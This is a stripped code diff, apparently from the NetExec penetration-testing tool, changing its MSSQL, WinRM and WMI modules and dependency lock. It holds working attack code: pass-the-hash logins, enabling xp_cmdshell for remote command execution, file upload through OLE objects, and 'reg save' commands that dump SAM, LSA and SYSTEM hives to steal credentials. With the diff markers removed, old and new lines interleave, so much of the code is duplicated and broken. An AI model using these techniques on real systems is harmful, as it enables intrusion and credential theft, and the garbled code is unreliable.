self.logger.fail(f"{domain}\\{username}{used_ccache} {e}")
return False
def plaintext_login(self, domain, username, password):
with contextlib.suppress(Exception):
self.conn.disconnect()
self.create_conn_obj()
try:
# this is to prevent a decoding issue in impacket/ntlm.py:617 where it attempts to decode the domain
if not domain:
domain = ""
res = self.conn.login(None, username, password, domain, None, not self.args.local_auth)
if res is not True:
self.handle_mssql_reply()
return False
self.password = password
self.username = username
self.domain = domain
self.check_if_admin()
self.db.add_credential("plaintext", domain, username, password)
if self.admin_privs:
self.db.add_admin_user("plaintext", domain, username, password, self.host)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
domain = f"{domain}\\" if not self.args.local_auth else ""
out = f"{domain}{username}:{process_secret(password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
return True
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
return False
except Exception as e:
self.logger.fail(f"{domain}\\{username}:{process_secret(password)}")
self.logger.exception(e)
except Exception:
error_msg = self.handle_mssql_reply()
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, kerb_pass, error_msg if error_msg else ""))
return False
@reconnect_mssql
def plaintext_login(self, domain, username, password):
self.password = password
self.username = username
self.domain = domain
try:
res = self.conn.login(
None,
self.username,
self.password,
self.domain,
None,
not self.args.local_auth,
)
if res is not True:
raise
self.check_if_admin()
out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
return True
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
return False
except Exception:
error_msg = self.handle_mssql_reply()
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.password), error_msg if error_msg else ""))
return False
@reconnect_mssql
def hash_login(self, domain, username, ntlm_hash):
lmhash = ""
nthash = ""
# This checks to see if we didn't provide the LM Hash
self.username = username
self.domain = domain
self.lmhash = ""
self.nthash = ""
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.lmhash, self.nthash = ntlm_hash.split(":")
else:
nthash = ntlm_hash
with contextlib.suppress(Exception):
self.conn.disconnect()
self.create_conn_obj()
self.nthash = ntlm_hash
try:
res = self.conn.login(
None,
username,
self.username,
"",
domain,
":" + nthash if not lmhash else ntlm_hash,
self.domain,
f"{self.lmhash}:{self.nthash}",
not self.args.local_auth,
)
if res is not True:
self.conn.printReplies()
return False
self.hash = ntlm_hash
self.username = username
self.domain = domain
raise
self.check_if_admin()
self.db.add_credential("hash", domain, username, ntlm_hash)
if self.admin_privs:
self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
out = f"{domain}\\{username} {process_secret(ntlm_hash)} {self.mark_pwned()}"
out = f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
return True
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
return False
except Exception as e:
self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}")
except Exception:
error_msg = self.handle_mssql_reply()
self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.nthash), error_msg if error_msg else ""))
return False
def mssql_query(self):
@ -306,47 +294,39 @@ class mssql(connection):
else:
self.logger.fail("Unexpected output")
except Exception as e:
self.logger.exception(e)
self.logger.exception(f"Failed to excuted MSSQL query, reason: {e}")
return None
return raw_output
@requires_admin
def execute(self, payload=None, print_output=False):
def execute(self, payload=None, get_output=False):
if not payload and self.args.execute:
payload = self.args.execute
self.logger.info(f"Command to execute:\n{payload}")
if not self.args.no_output:
get_output = True
self.logger.info(f"Command to execute: {payload}")
try:
exec_method = MSSQLEXEC(self.conn)
raw_output = exec_method.execute(payload, print_output)
self.logger.info("Executed command via mssqlexec")
self.logger.debug(f"Raw output: {raw_output}")
exec_method = MSSQLEXEC(self.conn, self.logger)
raw_output = exec_method.execute(payload, get_output)
except Exception as e:
self.logger.exception(e)
return None
if hasattr(self, "server"):
self.server.track_host(self.host)
if self.args.execute or self.args.ps_execute:
self.logger.fail(f"Execute command failed, error: {e!s}")
return False
else:
self.logger.success("Executed command via mssqlexec")
if self.args.no_output:
self.logger.debug("Output set to disabled")
else:
if raw_output:
for line in raw_output:
self.logger.highlight(line)
return raw_output
return raw_output
@requires_admin
def ps_execute(
self,
payload=None,
get_output=False,
methods=None,
force_ps32=False,
dont_obfs=True,
dont_obfs=False,
):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
@ -364,7 +344,7 @@ class mssql(connection):
try:
data = f.read()
self.logger.display(f"Size is {len(data)} bytes")
exec_method = MSSQLEXEC(self.conn)
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.put_file(data, self.args.put_file[1])
if exec_method.file_exists(self.args.put_file[1]):
self.logger.success("File has been uploaded on the remote machine")
@ -374,13 +354,13 @@ class mssql(connection):
self.logger.fail(f"Error during upload : {e}")
@requires_admin
def get_file(self):
def get_file(self):
remote_path = self.args.get_file[0]
download_path = self.args.get_file[1]
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
try:
exec_method = MSSQLEXEC(self.conn)
exec_method = MSSQLEXEC(self.conn, self.logger)
exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
@ -394,13 +374,13 @@ class mssql(connection):
for keys in self.conn.replies:
for _i, key in enumerate(self.conn.replies[keys]):
if key["TokenType"] == TDS_ERROR_TOKEN:
error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
error_msg = f"({key['MsgText'].decode('utf-16le')} Please try again with or without '--local-auth')"
self.conn.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
self.logger.fail(error)
return error_msg
elif key["TokenType"] == TDS_INFO_TOKEN:
self.logger.display(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
return f"({key['MsgText'].decode('utf-16le')})"
elif key["TokenType"] == TDS_LOGINACK_TOKEN:
self.logger.display(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ")
return f"(ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) )"
elif key["TokenType"] == TDS_ENVCHANGE_TOKEN and key["Type"] in (
TDS_ENVCHANGE_DATABASE,
TDS_ENVCHANGE_LANGUAGE,
@ -422,4 +402,4 @@ class mssql(connection):
_type = "PACKETSIZE"
else:
_type = f"{key['Type']:d}"
self.logger.display(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}")
return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})"

View File

@ -1,38 +1,38 @@
import binascii
from nxc.logger import nxc_logger
class MSSQLEXEC:
def __init__(self, connection):
def __init__(self, connection, logger):
self.mssql_conn = connection
self.outputBuffer = ""
self.logger = logger
self.outputBuffer = []
def execute(self, command, output=False):
command_output = []
try:
self.enable_xp_cmdshell()
except Exception as e:
nxc_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
try:
result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
nxc_logger.debug(f"SQL Query Result: {result}")
for row in result:
if row["output"] == "NULL":
continue
command_output.append(row["output"])
except Exception as e:
nxc_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
if output:
nxc_logger.debug("Output is enabled")
for row in command_output:
nxc_logger.debug(row)
# if len(self.outputBuffer):
try:
self.disable_xp_cmdshell()
except Exception as e:
nxc_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
return command_output
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
if output:
self.logger.debug(f"SQL Query Result: {result}")
for row in result:
if row["output"] == "NULL":
continue
self.outputBuffer.append(row["output"])
else:
self.logger.info("Output set to disabled")
return self.outputBuffer
def enable_xp_cmdshell(self):
self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
@ -53,7 +53,7 @@ class MSSQLEXEC:
self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
self.disable_ole()
except Exception as e:
nxc_logger.debug(f"Error uploading via mssqlexec: {e}")
self.logger.debug(f"Error uploading via mssqlexec: {e}")
def file_exists(self, remote):
try:
@ -71,4 +71,4 @@ class MSSQLEXEC:
f.write(binascii.unhexlify(data))
except Exception as e:
nxc_logger.debug(f"Error downloading via mssqlexec: {e}")
self.logger.debug(f"Error downloading via mssqlexec: {e}")

View File

@ -1,17 +1,13 @@
from argparse import _StoreTrueAction
def proto_args(parser, std_parser, module_parser):
mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout, default is %(default)s seconds", type=int, default=5)
mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
no_smb_arg = mssql_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
dgroup = mssql_parser.add_mutually_exclusive_group()
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
no_smb_arg.make_required = [domain_arg]
cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
@ -25,22 +21,7 @@ def proto_args(parser, std_parser, module_parser):
psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
return parser

View File

@ -115,7 +115,7 @@ class SAMRQuery:
self.server_handle = self.get_server_handle()
def get_transport(self):
string_binding = f"ncacn_np:{self.__port}[\pipe\samr]"
string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]"
nxc_logger.debug(f"Binding to {string_binding}")
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
return transport.SMBTransport(

View File

@ -1,7 +1,7 @@
import os
import base64
import requests
import urllib3
import contextlib
import logging
import xml.etree.ElementTree as ET
@ -10,13 +10,13 @@ from datetime import datetime
from pypsrp.wsman import NAMESPACES
from pypsrp.client import Client
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
from nxc.config import process_secret
from nxc.connection import connection
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import gen_random_string
from nxc.helpers.ntlm_parser import parse_challenge
from nxc.logger import NXCAdapter
@ -33,58 +33,33 @@ class winrm(connection):
self.lmhash = ""
self.nthash = ""
self.ssl = False
self.auth_type = None
self.challenge_header = None
connection.__init__(self, args, db, host)
def proto_logger(self):
# Reason why default is SMB/445, because default is enumerate over SMB.
# For more details, please check the function "print_host_info"
# For more details, please check the function "print_host_info"
logging.getLogger("pypsrp").disabled = True
logging.getLogger("pypsrp.wsman").disabled = True
self.logger = NXCAdapter(
extra={
"protocol": "SMB",
"protocol": "WINRM",
"host": self.host,
"port": "445",
"port": "5985",
"hostname": self.hostname,
}
)
def enum_host_info(self):
# smb no open, specify the domain
if self.args.no_smb:
self.domain = self.args.domain
else:
try:
smb_conn = SMBConnection(self.host, self.host, None, timeout=5)
no_ntlm = False
except Exception as e:
self.logger.fail(f"Error retrieving host domain: {e} specify one manually with the '-d' flag")
else:
try:
smb_conn.login("", "")
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
except Exception as e:
if "STATUS_NOT_SUPPORTED" in str(e):
# no ntlm supported
no_ntlm = True
ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", "")))
self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
self.domain = smb_conn.getServerDNSDomainName() if not no_ntlm else self.args.domain
self.hostname = smb_conn.getServerName() if not no_ntlm else self.host
self.server_os = smb_conn.getServerOS()
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
self.logger.extra["hostname"] = self.hostname
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
with contextlib.suppress(Exception):
smb_conn.logoff()
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
if self.args.domain:
self.domain = self.args.domain
@ -98,16 +73,10 @@ class winrm(connection):
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
def print_host_info(self):
if self.args.no_smb:
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
self.logger.extra["port"] = self.port
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
else:
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
self.logger.extra["port"] = self.port
self.logger.info(f"Connection information: {self.endpoint} (auth type:{self.auth_type}) (domain:{self.domain if self.args.domain else ''})")
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
self.logger.extra["port"] = self.port
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
return True
def create_conn_obj(self):
@ -117,6 +86,14 @@ class winrm(connection):
endpoints = {}
headers = {
"Content-Length": "0",
"Keep-Alive": "true",
"Content-Type": "application/soap+xml;charset=UTF-8",
"User-Agent": "Microsoft WinRM Client",
"Authorization": "Negotiate TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="
}
for protocol in self.args.check_proto:
endpoints[protocol] = {}
endpoints[protocol]["port"] = self.port[self.args.check_proto.index(protocol)] if len(self.port) == 2 else self.port[0]
@ -131,9 +108,12 @@ class winrm(connection):
self.port = endpoints[protocol]["port"]
try:
self.logger.debug(f"Requesting URL: {endpoints[protocol]['url']}")
res = requests.post(endpoints[protocol]["url"], verify=False, timeout=self.args.http_timeout)
res = requests.post(endpoints[protocol]["url"], headers=headers, verify=False, timeout=self.args.http_timeout)
self.logger.debug(f"Received response code: {res.status_code}")
self.auth_type = res.headers["WWW-Authenticate"] if "WWW-Authenticate" in res.headers else "NOAUTH"
self.challenge_header = res.headers["WWW-Authenticate"]
if (not self.challenge_header) or ("Negotiate" not in self.challenge_header):
self.logger.info('Failed to get NTLM challenge from target "/wsman" endpoint, maybe isn\'t winrm service.')
return False
self.endpoint = endpoints[protocol]["url"]
self.ssl = endpoints[protocol]["ssl"]
return True
@ -280,7 +260,7 @@ class winrm(connection):
def sam(self):
sam_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}"
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")
@ -309,7 +289,7 @@ class winrm(connection):
def lsa(self):
security_storename = gen_random_string(6)
system_storename = gen_random_string(6)
dump_command = f"reg save HKLM\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\SYSTEM C:\\windows\\temp\\{system_storename}"
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}"
try:
self.conn.execute_cmd(dump_command) if self.args.dump_method == "cmd" else self.conn.execute_ps(f"cmd /c '{dump_command}'")

View File

@ -1,6 +1,3 @@
from argparse import _StoreTrueAction
def proto_args(parser, std_parser, module_parser):
winrm_parser = parser.add_parser("winrm", help="own stuff using WINRM", parents=[std_parser, module_parser])
winrm_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
@ -9,18 +6,15 @@ def proto_args(parser, std_parser, module_parser):
winrm_parser.add_argument("--check-proto", nargs="+", default=["http", "https"], help="Choose what prorocol you want to check, default is %(default)s, format: 'http https'(with space separated) or 'single-protocol'")
winrm_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
winrm_parser.add_argument("--http-timeout", dest="http_timeout", type=int, default=10, help="HTTP timeout for WinRM connections")
no_smb_arg = winrm_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
dgroup = winrm_parser.add_mutually_exclusive_group()
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
no_smb_arg.make_required = [domain_arg]
cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump")
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cegroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
@ -29,18 +23,3 @@ def proto_args(parser, std_parser, module_parser):
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
return parser
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction

View File

@ -1,10 +1,10 @@
import os
import struct
import logging
from io import StringIO
from six import indexbytes
from datetime import datetime
from nxc.helpers.ntlm_parser import parse_challenge
from nxc.config import process_secret
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
from nxc.logger import NXCAdapter
@ -18,7 +18,6 @@ from impacket.dcerpc.v5 import transport, epm
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, MSRPC_BIND, MSRPCBind, CtxItem, MSRPCHeader, SEC_TRAILER, MSRPCBindAck
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
import contextlib
MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.0"))
@ -86,7 +85,6 @@ class wmi(connection):
def enum_host_info(self):
# All code pick from DumpNTLNInfo.py
# https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py
ntlmChallenge = None
bind = MSRPCBind()
item = CtxItem()
@ -123,39 +121,19 @@ class wmi(connection):
if buffer != 0:
response = MSRPCHeader(buffer)
bindResp = MSRPCBindAck(response.getData())
ntlmChallenge = ntlm.NTLMAuthChallenge(bindResp["auth_data"])
if ntlmChallenge["TargetInfoFields_len"] > 0:
av_pairs = ntlm.AV_PAIRS(ntlmChallenge["TargetInfoFields"][: ntlmChallenge["TargetInfoFields_len"]])
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1] is not None:
try:
self.hostname = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
except Exception:
self.hostname = self.host
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1] is not None:
try:
self.domain = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
except Exception:
self.domain = self.args.domain
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1] is not None:
with contextlib.suppress(Exception):
self.fqdn = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
if "Version" in ntlmChallenge.fields:
version = ntlmChallenge["Version"]
if len(version) >= 4:
self.server_os = "Windows NT %d.%d Build %d" % (indexbytes(version, 0), indexbytes(version, 1), struct.unpack("<H", version[2:4])[0])
ntlm_info = parse_challenge(bindResp["auth_data"])
self.domain = ntlm_info["domain"]
self.hostname = ntlm_info["hostname"]
self.server_os = ntlm_info["os_version"]
self.logger.extra["hostname"] = self.hostname
else:
self.hostname = self.host
if self.args.local_auth:
self.domain = self.hostname
if self.args.domain:
self.domain = self.args.domain
self.fqdn = f"{self.hostname}.{self.domain}"
self.logger.extra["hostname"] = self.hostname
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
def print_host_info(self):

27
poetry.lock generated
View File

@ -817,7 +817,7 @@ files = [
[[package]]
name = "impacket"
version = "0.12.0.dev1+20231130.165011.d370e635"
version = "0.12.0.dev1+20240215.65950.da6f5255"
description = "Network protocols Constructors and Dissectors"
optional = false
python-versions = "*"
@ -840,7 +840,7 @@ six = "*"
type = "git"
url = "https://github.com/Pennyw0rth/impacket.git"
reference = "gkdi"
resolved_reference = "d370e6359a410063b2c9c68f6572c3b5fb178a38"
resolved_reference = "da6f52552b7d15f177587d902b3405e0aa07f22e"
[[package]]
name = "importlib-metadata"
@ -1307,17 +1307,22 @@ winacl = ">=0.1.8"
[[package]]
name = "neo4j"
version = "4.4.11"
version = "5.18.0"
description = "Neo4j Bolt driver for Python"
optional = false
python-versions = ">=3.6"
python-versions = ">=3.7"
files = [
{file = "neo4j-4.4.11.tar.gz", hash = "sha256:2fb4693d524e7661ed6b0ea5b4e3a6272dba2567809ecd1d63f1c896ebcfc241"},
{file = "neo4j-5.18.0.tar.gz", hash = "sha256:4014406ae5b8b485a8ba46c9f00b6f5b4aaf88e7c3a50603445030c2aab701c9"},
]
[package.dependencies]
pytz = "*"
[package.extras]
numpy = ["numpy (>=1.7.0,<2.0.0)"]
pandas = ["numpy (>=1.7.0,<2.0.0)", "pandas (>=1.1.0,<3.0.0)"]
pyarrow = ["pyarrow (>=1.0.0)"]
[[package]]
name = "netaddr"
version = "0.10.1"
@ -1780,16 +1785,6 @@ tqdm = "*"
unicrypto = ">=0.0.10,<=0.1.0"
winacl = ">=0.1.7,<=0.2.0"
[[package]]
name = "pyreadline"
version = "2.1"
description = "A python implmementation of GNU readline."
optional = false
python-versions = "*"
files = [
{file = "pyreadline-2.1.zip", hash = "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1"},
]
[[package]]
name = "pyspnego"
version = "0.10.2"
@ -2298,4 +2293,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
[metadata]
lock-version = "2.0"
python-versions = "^3.8.0"
content-hash = "b1498f097759871b38b6ed64c9948316ed443b6814f5a736abaf5cf576cd4b78"
content-hash = "19dfeaa2fa332997fb149a591b147061c8da77e2f69b8734d7f988562231a4e7"

View File

@ -39,7 +39,7 @@ beautifulsoup4 = ">=4.11,<5"
lsassy = ">=3.1.8"
termcolor = "2.0.1"
msgpack = "^1.0.0"
neo4j = "^4.1.1" # do not upgrade this until performance regression issues in 5 are fixed (as of 9/23)
neo4j = "^5.0.0"
pylnk3 = "^0.4.2"
pypsrp = "^0.8.1"
paramiko = "^3.3.1"
@ -62,7 +62,6 @@ pyasn1-modules = "^0.3.0"
rich = "^13.3.5"
python-libnmap = "^0.7.3"
oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
pyreadline = { version = "^2.1", markers = "sys_platform == 'win32'" } # for the build - impacket imports its hidden from the builder so an error occurs
argcomplete = "^3.1.4"
[tool.poetry.group.dev.dependencies]